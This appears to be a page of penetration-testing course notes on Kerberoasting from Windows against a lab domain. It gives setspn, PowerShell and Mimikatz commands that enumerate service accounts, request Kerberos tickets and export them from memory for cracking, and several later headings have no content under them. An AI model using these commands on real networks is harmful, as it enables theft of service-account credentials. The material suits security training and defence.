15. Kerberoasting - from Windows

Enumerating SPNs with setspn.exe

setspn.exe -Q */*

Targeting a Single User (PowerShell)

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Retrieving All Tickets Using setspn.exe (PowerShell)

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Extracting Tickets from Memory with Mimikatz

mimikatz # base64 /out:true
mimikatz # kerberos::list /export

Preparing the Base64 Blob for Cracking (Linux)

echo "<base64 blob>" | tr -d \n

Placing the Output into a File as .kirbi (Linux)

cat encoded_file | base64 -d > sqldev.kirbi

Extracting the Kerberos Ticket using kirbi2john.py (Linux)

Modifying crack_file for Hashcat (Linux)

Viewing the Prepared Hash (Linux)

Cracking the Hash with Hashcat (Linux)

Using PowerView to Extract TGS Tickets (PowerShell)

Using PowerView to Target a Specific User (PowerShell)

Exporting All Tickets to a CSV File (PowerShell)

Viewing the Contents of the .CSV File (PowerShell)

Using Rubeus (PowerShell)

Using the /stats Flag (Rubeus)

Using the /nowrap Flag (Rubeus)

Last updated